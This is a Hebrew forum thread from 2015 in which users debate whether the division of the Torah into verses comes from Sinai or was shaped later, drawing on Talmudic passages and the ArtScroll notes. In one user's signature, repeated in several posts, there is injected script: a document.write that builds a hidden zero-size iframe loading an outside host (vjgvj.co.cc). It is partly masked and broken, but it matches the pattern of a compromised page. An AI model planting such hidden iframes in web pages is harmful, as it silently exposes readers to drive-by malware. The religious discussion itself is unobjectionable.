בית פורומים עצור כאן חושבים

חלוקת פסוקי התורה - מסורת או עיצוב?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-5/7/2015 11:19 לינק ישיר 
חלוקת פסוקי התורה - מסורת או עיצוב?

עיון בדף היומי הוביל למסקנה מרחיקת לכת לגבי האופן שבו מתייחסים אל המסורת שלנו. האם ניתן לזהות בתוכה רכיבים עתיקים ורכיבים מאוחרים? הנושא הפעם: חלוקה לפסוקים.

כולנו מכירים ויודעים כי התנ"ך מחולק לספרים, פרקים ופסוקים. הפרקים בתורה הם מעשה ידי עורך נוצרי. אולם חלוקת הספרים היא עתיקה, ואין עליה עוררין. אך מה עם חלוקת הפסוקים?

יש לשים לב כי בספר תורה עצמה אין מציינים חלוקה לפסוקים. אז איך אנו יודעים מתי לעצור ומתי מתחיל פסוק חדש?

יש מקרים רבים שבהם זה מובן מעצמו. אבל יש גם פסוקים שאפשר היה לחלק לשנים או יותר, או שיש פסוקים צמודים שהיה אפשר להחשיב לפסוק אחד.

הווה אומר: מסורת.

המפתיע הוא שהיו חלוקות חליפיות של פסוקים.

אמר רב אחא בר אדא, במערבא פסקין להדין פסוקא לתלתא פסוקין (נדרים לח א)

ובעברית: אמר רב אחא בר אדא: בארץ ישראל (במערב) פוסקים את הפסוק הזה (שמות יט ט) לשלושה פסוקים.

וזה הפסוק:

וַיֹּאמֶר יְקֹוָק אֶל מֹשֶׁה הִנֵּה אָנֹכִי בָּא אֵלֶיךָ בְּעַב הֶעָנָן בַּעֲבוּר יִשְׁמַע הָעָם בְּדַבְּרִי עִמָּךְ וְגַם בְּךָ יַאֲמִינוּ לְעוֹלָם וַיַּגֵּד מֹשֶׁה אֶת דִּבְרֵי הָעָם אֶל יְקֹוָק.

לא ברור בדיוק כיצד חולק הפסוק לשלושה. החלק האחרון הוא ודאי "ויגד משה וכו' ". אולם מה עם שני החלקים הראשונים? יתכן שהחלק הראשון הוא "ויאמר ה' אל משה" כאשר תוכן האמירה, עד "ויגד משה" הוא פסוק בפני עצמו. בשוטנשטיין כאן מובאת הצעת חלוקה אחרת.

למעשה, לא זה מה שחשוב לנו. מה שחשוב – ומפתיע – כל כך הוא שיכולה להיות חלוקה אחרת של פסוקים. האם אין מסורת על החלוקה הזו? האם יתכן לחלוק על מסורת?




דווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 11:20 לינק ישיר 

הדיון הזה משובץ בתוך דיון רחב יותר במסכת קדושין ל א.

לפיכך נקראו ראשונים סופרים - שהיו סופרים כל האותיות שבתורה, שהיו אומרים: וא"ו דגחון - חציין של אותיות של ס"ת, דרש דרש - חציין של תיבות, והתגלח - של פסוקים.

 

יש כאן דיווח על חכמים מדור קודם בהרבה שעסקו, בין השאר, בספירת האותיות בתורה. כלומר הם עסקו בטקסט כשהוא לעצמו. זה איפשר להם לזהות היכן בדיוק החלוקה של מספר האותיות, המילים והפסוקים. כאמור, אני מתכוון להתעלם מכל דיון בנושא מרתק זה, כולל השאלה החשובה מדוע הם עסקו בכך. (האם הם רק רצו להגן על המסורת מפני שינוי, או שהיה להם טעם אחר, כגון שחשבו שיש ערך מוסף לאותיות בפני עצמן, והאם זו שיטת רבי עקיבא או קודמיו, והאם יש כאן תשתית לפרשנות מטפיזית לתורה במישור לא תוכני, כטענת הרמב"ן הידועה? אני רק מצביע על נושא שהוא אולי חשוב ונושא השלכות מעבר לדיון ההיסטורי שאני עוסק בו כאן).

נחזור לנושא המרכזי שלנו. האמירה הזו בגמרא מעוררת תמיהה. כפי שציינו המפרשים כאן, "והתגלח" אינו נמצא באמצע התורה מבחינת מספר הפסוקים.

הפסוק המדובר הוא

וְהִתְגַּלָּח וְאֶת הַנֶּתֶק לֹא יְגַלֵּחַ וְהִסְגִּיר הַכֹּהֵן אֶת הַנֶּתֶק שִׁבְעַת יָמִים שֵׁנִית (ויקרא יג לג)

כאשר המקום האמצעי שמור, לפי מנין הפסוקים שלפנינו, לויקרא ח ח

וַיָּשֶׂם עָלָיו אֶת הַחֹשֶׁן וַיִּתֵּן אֶל הַחֹשֶׁן אֶת הָאוּרִים וְאֶת הַתֻּמִּים

וראו בשוטנשטיין שם (קדושין ל א 3) והע' 29, שזה כתוב במסורה (הרמ"ה ובמסורת הש"ס).

איך זה מסתדר? ובכן, שאלה זו כבר העסיקה את האמוראים המוזכרים שם. הדיון מתחיל במספר האותיות, שממנו אני מתכונן להתעלם כדי לא להתפרש מדי.

בעי רב יוסף: וא"ו דגחון מהאי גיסא, או מהאי גיסא? (אות ו במילה גחון מאיזה צד היא)

א"ל: ניתי ס"ת ואימנינהו. מי לא אמר רבה בר בר חנה: לא זזו משם עד שהביאו ספר תורה ומנאום? (הציעו לו להביא ספר תורה ולספור, כפי שהיה מעשה ברבה בר בר חנה – ורש"י מציין שלא ידוע היכן ומתי היה המעשה, אם כי הוא מוזכר בעוד מקומות).

א"ל: אינהו בקיאי בחסירות ויתרות, אנן לא בקיאינן. (ענה לו שיש חסירות ויתרות ולכן אי אפשר לספור במדוייק)

בעי רב יוסף: והתגלח מהאי גיסא, או מהאי גיסא? (אותה שאלה לגבי הפסוק, מאיזה מחצית הוא, שכן יש מספר זוגי של פסוקים לפי המנין המקובל).

א"ל אביי: פסוקי מיהא ליתו לימנוי'. (גם כאן מציע תלמידו של רב יוסף לספור את הפסוקים בעצמנו)

בפסוקי נמי לא בקיאינן. (וגם כאן נאמר שאין אנו בקיאים בפסוקים, כלומר בחלוקתם).

דכי אתא רב אחא בר אדא אמר, במערבא פסקי ליה להאי קרא לתלתא פסוקי: ויאמר ה' אל משה הנה אנכי בא אליך בעב הענן. (כפי שכבר הובא לעיל).

יש כאן גם ברייתא המובאת מייד בהמשך ומספקת את מספר הפסוקים המדוייק – לכאורה.

תנו רבנן: חמשת אלפים ושמונה מאות ושמונים ושמונה פסוקים הוו פסוקי ס"ת.

דא עקא (זו הבעיה) שגם המנין הזה אינו תואם למה שיש לנו. לא ספרתי בעצמי אולם לפי שוטנשטיין המספר הוא 5845 (לא זוגי). לדברי שוטנשטיין (הע' 43 שם) זה "הפרש קטן".

אז איך יש הבדל בין מספר הפסוקים בתורה בין ארץ ישראל בימי האמוראים, לבין המספר שנקוב במקורות שנידונו בבבל בימי רב יוסף ואביי, לבין חלוקת הפסוקים ומנינה אצלנו?




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 11:20 לינק ישיר 

שאלה דומה עולה בראשונים.

לפי פשטות הגמרא בנדרים, "אין אנו בקיאים". זה אומר שיש מספר מדוייק, אבל אין לנו מסורת ברורה איך לחלק את הקריאה. זה יכול לקרות, כפי שכבר ראינו, שיש פסוקים שעומדים בפני עצמם באופן ברור, אבל יש כאלו שהינם אוסף של משפטים שאפשר היה לחזור ולחלק שוב.

רבנו חננאל (במגילה כט ב, ומובא גם בשיטה מקובצת, כל זה מובא בשוטנשטיין שם נדרים הע' 6) כנראה סבר שהיתה מסורת מדוייקת על החלוקה לפסוקים. אם כן איך יש חלוקה אחרת בארץ ישראל? ובכן, הוא ייחס את ההבדל לצורך חלוקת הקריאה לשלוש שנים בארץ ישראל. כידוע, קוראים בתורה כל שבת, אבל היו שתי שיטות חלוקה של הקריאה. לפי השיטה הבבלית, הנוהגת עד היום, מסיימים את הקריאה פעם בשנה. בארץ ישראל סיימו רק פעם בשלוש שנים. לפי השיטה הארץ ישראלית, איך הספיקו הפסוקים? רבנו חננאל הסביר שהם חילקו את הפרשיות ליותר פסוקים וכך היה יותר לקריאה.

ההסבר של רבנו חננאל מאפשר לנו לקיים את האמון שלנו במסורת. יש חלוקת פסוקים שבאה במסורת, ורק בארץ ישראל נהגה חלוקה נוספת. אבל, כפי שמתברר, זו לא היתה חלוקה "אמיתית" אלא רק חלוקה לצרכי קריאה.




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 11:21 לינק ישיר 

אולם האם מותר לחלק פסוק לכמה חלקים? ובכן, בדבר זה נחלקו האמוראים. יש המתירים להפסיק בקריאת התורה גם באמצע פסוק, וכך נהגו בארץ ישראל, ויש שאסרו זאת. הדבר מופיע בסוגיה הנכפלת במספר מקומות, שאחד מהם מובא כאן.

... ותניא: הקורא בתורה לא יפחות משלשה פסוקים

ואיתמר עלה: רב אמר: דולג,

ושמואל אמר: פוסק.

(מגילה כב א)

כלומר, העולה לקריאת התורה יקרא לכל הפחות שלושה פסוקים. אך מה קורה אם הקריאה המיועדת מכילה פחות פסוקים ואין די לכולם?

שמואל מציע להפסיק באמצע פסוק. רב אמר דולג, כלומר חוזר אחורה וקורא מן הפסוק הקודם, כך שיש כאן קריאת שלושה פסוקים, אם גם אחד מהם נקרא קודם.

הגמרא מציעה הסבר בעל חשיבות רבה לנושא שלנו.

רב אמר דולג. מאי טעמא לא אמר פוסק? קסבר: כל פסוקא דלא פסקיה משה אנן לא פסקינן ליה. (מדוע לא התיר רב להפסיק באמצע פסוק? מפני שאם משה לא חילק את הפסוק, גם אנו לא עושים זאת).

ניתן להציע סברות אחדות לשמירה על קריאה רק לפי דגם חלוקת הפסוקים מימי משה רבנו, אבל הכלל הפורמלי ברור. אין לשנות מן החלוקה המקורית, שהיא ודאי ידועה במסורת!

המורגל בגישה של מחקר היסטורי לסוגיות יזהה כי ההסבר אינו נאמר בידי רב אלא רק מיוחס לו. האם יתכן שמדובר בהסבר מאוחר?

בהמשך הסוגיה מופיעה ברייתא:

... והא אמר רבי חנניא קרא: צער גדול היה לי אצל רבי חנינא הגדול, ולא התיר לי לפסוק אלא לתינוקות של בית רבן, הואיל ולהתלמד עשויין...

כמה דברים חשובים אנו למדים ממקור זה. ראשית, מה שכבר ידוע לנו ממקומות רבים, שתינוקות (שלא כמו שימוש הלשון שלנו, "תינוק" זה יכול להיות כמעט עד גיל 13) לומדים מקרא. שנית, שהלימוד נעשה כמה מילים כל פעם. ורצוי שהמלמד יקרא פסוק שלם, אבל אם הכיתה אינה מסוגלת לכך, עליו להפסיק קודם. ובדבר זה הקפיד רבי חנינא עד שהבין שאין ברירה אחרת.

הווה אומר שכבר בימי רבי חנינא יש לנו חלוקה מסורתית לפסוקים.




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 11:22 לינק ישיר 

אני מבקש להציע השערה על דרך המחקר ההיסטורי, שתישען גם על הצעה לשונית.

האם יתכן שלא היתה חלוקה ברורה לפסוקים מימי משה רבנו? כלומר, היה טקסט מסויים ומדוייק, אבל לא היתה מסורת מסויימת להפסיק במקומות מסויימים לסוף משפט.

אם חושבים על כך, אפשר להבין למה. אחד הדברים המקובלים בצורת הדיבור והקריאה שלנו הוא לחלק למשפטים. זה נלמד בבתי הספר והופך לחלק מצורת התפיסה האינטואיטיבית שלנו. אבל האם באמת זה דבר "טבעי" בשפה או בטקסטים?

יתכן שהחלוקה הזו פחות חיונית. ולכן יתכן שהיא לא היתה חלק מהמסורת. כלומר, התורה עברה מדור לדור, אבל היה ברור לקורא שהוא יחלק את הטקסט למשפטים, אבל היה אפשרי להפסיק בכל מקום הגיוני.

רק במועד מאוחר, כחלק מן הגישה הכללית של הסתיימות ההלכה – קביעת כללים ברורים וגם נוקשים – עלתה השאלה מהי החלוקה "הנכונה" לפסוקים. ומרגע שנקבעה דרך אחת ויחידה, שהיא הפכה לחלק מן המסורת, ומעכשו אסור היה לערער עליה ולסטות ממנה.

לא רק שהיתה דרך אחת לפסוק ולקרוא, אלא שהאמינו שזו הדרך היחידה והמקודשת! ולא זכרו עוד שהיו שיטות מתחלפות.

אם נתבונן במילה "פסוק" אפשר שנגלה שהיא טומנת בחובה עדות לתהליך אפשרי כזה.

מה זה "פסוק"?

בלשון עברית מודרנית, "פסוק" זהה, פחות או יותר, ל"משפט". כלומר אוסף מילים שנושא משמעות מוגדרת, בנוי לפי חוקי הלשון, והינו יחידה אחת. (בשפה הטכנית של הלוגיקאים פסוק הוא באמת טענה או משפט...).

גם לפי הכללים המודרניים שלנו יש משפטים פשוטים ויש משפטים מורכבים, שניתן לחלק לחלקים, כי הם עשויים מיחידות קטנות יותר. למשל: "רב אמר דולג ושמואל אמר פוסק". האות של ו' החיבור מחברת יחד שתי יחידות שונות שכל אחת יכולה להיות משפט בפני עצמה. בלשון טכנית זה נקרא "משפט מחובר".

שימוש הלשון שלנו אינו מעיד שתמיד היה כך. יתכן שהמילה "פסוק" נולדה בהקשר יותר עמום. והיא מציינת לא יחידה העומדת בפני עצמה, אלא יחידה שנוצרה עקב כך שמישהו, הקורא או המדבר, פסק אותה, כלומר הפסיק את דיבורו. אין כאן יחידת פסוק "טבעית" או "נכונה" אלא שהיא נקבעת כל פעם על ידי המשתמש!

"פסוק", לפי אבן שושן, הוא "קטע קטן במקרא הנפרד מהמשכו על ידי פיסוק הטעמים". לאחר שהתחלתי לעיין בנושא הזה, למדתי להתפעל מדברי אבן שושן הזהירים. הפסוק נוצר או ניכר על ידי פיסוק הטעמים, אבל אין כאן אמירה שהחלוקה הזו הכרחית אלא רק שהיא נובעת מהפיסוק שמוצע על ידי מסורת הטעמים!

המסקנה העולה לדעתי היא שיתכן שהחלוקה לפסוקים היא מלאכותית ובמובן מסויים, מאוחרת.

מתי נקבעה חלוקה זו ולא אחרת? לכל הפחות בימי רב או רבי ותלמידיו (אם רבי חנינא הגדול הוא תלמידו של רבי יהודה הנשיא). יתכן שחלוקה זו לא היתה קבועה במסורת בכל המקומות, ולכן היתה חלוקה אחרת בארץ ישראל.

מה הנפקא מינה בכל הדיון הזה, שעלול לגרום אי נחת למי שמורגל לקבל את המסורת כאילו היא קבועה כולה למשה בסיני? ובכן, זה בדיוק הענין. יתכן שהמסורת שלנו היא פרי הרכבה, כאשר חלקה באמת עתיק יומין בדיוק כפי שאנו חושבים, וחלקה עוצב במשך הדורות עד שקשה לזהות את הסימנים לעיצוב הזה.

נקודה נוספת היא שלמרות שהדברים כאן נראים כמערערים על המסורת ולכן יש רתיעה, אולי זו אפיקורסות? אז לא, הדברים עולים כניתוח אפשרי של מספר סוגיות והולמים יפה את המסורת הארץ ישראלית המובאת בגמרא הבבלית שלנו, ואפילו נובעים מהערות של שוטנשטיין!




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 11:22 לינק ישיר 

סיכום

 

החלוקה לפסוקים של התורה שבכתב נחשבת למסורת מימי משה רבנו, מקבל התורה. אבל בה במידה אין זה סותר את המקורות לשער שהיא עשויה להיות מלאכותית ותוצאה של בחירה בין מספר קריאות אפשריות בצירופי מילים במקרא שניתן לקרוא כמשפט אחד או כמשפטים אחדים, ויש לנו עדות על כך במסורת ארץ ישראלית מימי האמוראים.

למרות שהדברים נראים כמערערים על המסורת ולכן יש רתיעה: אולי זו אפיקורסות? אז לא, הדברים עולים כניתוח אפשרי של מספר סוגיות והולמים יפה את המסורת הארץ ישראלית המובאת בגמרא הבבלית שלנו, ואפילו נובעים מהערות של שוטנשטיין!

שורה אחרונה: אם הופכים את הניתוח הזה לגישה כללית, אז יתכן שהמסורת שלנו היא פרי הרכבה, כאשר חלקה באמת עתיק יומין בדיוק כפי שאנו חושבים, וחלקה עוצב במשך הדורות עד שקשה לזהות את הסימנים לעיצוב הזה.

 

____אוי, דווקא בסוף טעויות הקלדה. אולי זה סימן שהכל לא נכון? ואולי לא צריך להסתכל על "סימנים"?_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 05/07/2015 11:29:43




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 12:43 לינק ישיר 

אמרו בגמ' בפירוש "כל פסוקא דלא פסקיה משה לא פסקינן", ומה שהיה חילוק במערבה בפסוק אחד, מפני שנולד ספק במסורת והיה בזה ויכוח בין מערבא למדנחאי. ורק פיסוק טעמים אמרו בנדרים שהוא מדרבנן.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 13:12 לינק ישיר 

אמר רב ויקראו בספר תורת האלהים זה מקרא מפורש זה תרגום ושום שכל אלו הפסוקין ויבינו במקרא אלו פיסקי טעמים ואמרי לה אלו המסורת. (מגילה, איפשהו)
כאן אנו רואים שאנשי עזרא הכירו את החלוקה לפסוקים, לדעת הגמ'. האם הם רק סידרו את המידע שבידיהם, שהתקבל מסיני, או שהמציאו חלוקה חדשה, כמו התרגום שמסתמא אין הכוונה שהיה קיים מסיני? לא יודע.
בכל אופן ברור שתפיסת הגמ' היא שהיתה מסורת על פסוקים והיא התפצלה לשתי מסורות. (או כדעת ר"ח שחלוקת א"י אינה חלוקה אמיתית) וכאן עלינו לשאול את הבקיאים בתה"שים למיניהם (תרגום השבעים והתורה השומרונית) האם שם חלוקת הפסוקים אחרת?



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/7/2015 13:56 לינק ישיר 

אריאל

תודה! זה מקור חשוב ביותר.

נתבונן:

א. האמירה הזו היא של רב. אותו אמורא, תלמידו של רבי יהודה הנשיא, שאוסר לחלק פסוקים בקריאת התורה אם זה לא במסורת.

ב. "ויבינו במקרא" וכן "שום שכל" = שימת לב ועיון, כמדומה - האם זה לא אומר, לפחות לפי פשוטו של מקרא, שהם ניתחו את הטקסט מסברה וסימנו איפה נגמר פסוק אחד ומתחיל חדש? ואיך צריך לקרוא את היחידה שזוהתה כפסוק (פיסוק טעמים)? כלומר, אין כאן מסורת אלא יצירה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 13:59 לינק ישיר 

ישיבישער

תודה על דבריך.

אם תעיין, תראה שהזכרתי את המקורות שהבאת, אבל הם מתפרשים לא כפי שכתבת, למרות שגם פירושך אפשרי ויקר מאד. לפי מה שהצעתי, ולפי פרשנים מקובלים, היתה מחלוקת שיטות ולא רק מחלוקת פרטית בפסוק זה. ולכן הצעתי, הצעה שאינה חורגת מפשטותו של טקסט תלמודי, שהאיסור לפסק באופן אחר התחדש ואינו מצביע על מסורת מסויימת, אלא זה חלק מהתפתחות שמתרחשת בכל ההלכות, שדברים מתקבעים כך ולא אחרת ואז כבר חשים שאין לשנות.

כמובן דבריך משקפים את הגישה המסורתית שלנו, וגם אני לא רציתי לחלוק עליה במפורש אלא כתבתי שאפשר להבין אחרת, באופן התפתחותי.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 15:48 לינק ישיר 

אריאל73 כתב:
...
בכל אופן ברור שתפיסת הגמ' היא שהיתה מסורת על פסוקים והיא התפצלה לשתי מסורות. (או כדעת ר"ח שחלוקת א"י אינה חלוקה אמיתית) וכאן עלינו לשאול את הבקיאים בתה"שים למיניהם (תרגום השבעים והתורה השומרונית) האם שם חלוקת הפסוקים אחרת?

כיוון שנקראתי למשימה, אזרתי כוחי הדל מהצום ופשפשתי בבית גנזיי, וזכיתי להעלות משם כמה תובנות, שהצלחתי לקושרן גם לדף היומי הנ"ל וגם לפרשת דברים הקרבה ובאה – הלא הן כתובות על הפוסט הזה, הכולל בסופו כמה וכמה דוגמאות של חלוקת פסוקים שונה ככל הנראה שעמדה בפני המתרגמים:

פסוק לי פסוקך – על חלוקת המקרא לפסוקים




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/7/2015 15:58 לינק ישיר 

גדולה מזה.

מי בכם מכל עמו יהי אלקיו עמו ויעל

מי בכם מכל עמו ה' אלקיו עמו ויעל 



דבר אחד למדנו מדברי מיימוני : אם יש לזה רמז / מקור בשוטנשטיין אין זה אפיקורסות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/7/2015 16:01 לינק ישיר 

בערולאאדע כתב:
גדולה מזה.

מי בכם מכל עמו יהי אלקיו עמו ויעל

מי בכם מכל עמו ה' אלקיו עמו ויעל 

יפה! אבל שים לב שאין זה עניין לחלוקת פסוקים (ויש עוד דוגמאות כאלו של החלפת שם ה') 

דבר אחד למדנו מדברי מיימוני : אם יש לזה רמז / מקור בשוטנשטיין אין זה אפיקורסות

חזק! משא"כ בשטיינזלץ, שאפילו אם כתב פירוש מסורתי הרי זו אפיקורסות...
 

.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/7/2015 16:58 לינק ישיר 

מיימוני כתב:
ישיבישער

תודה על דבריך.

אם תעיין, תראה שהזכרתי את המקורות שהבאת, אבל הם מתפרשים לא כפי שכתבת 

< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוכל לפרט לגבי הפירוש החילופי למשפט "פסוקא דלא פסקיה משה לא פסקינן"?



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/7/2015 19:03 לינק ישיר 

אברם, אני מבין שאם ניקח כרגע חומש שומרוני או תנ"ך ע"פ תה"ש נמצא חלוקת פסוקים כמעט זהה לחלוקה שלנו?



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/7/2015 19:16 לינק ישיר 

אריאל73 כתב:
אברם, אני מבין שאם ניקח כרגע חומש שומרוני או תנ"ך ע"פ תה"ש נמצא חלוקת פסוקים כמעט זהה לחלוקה שלנו?

לו היית מסתכל בכתבי יד של תרגום השבעים היית מקבל משהו מעאפן כזה – לא פסוקים ולא פרקים:
http://bit.ly/1JHfguN

בחומש השומרוני לעומת זאת, יש בד"כ נקודות בין הפסוקים:
http://bit.ly/1LMlSY2




דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > חלוקת פסוקי התורה - מסורת או עיצוב?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.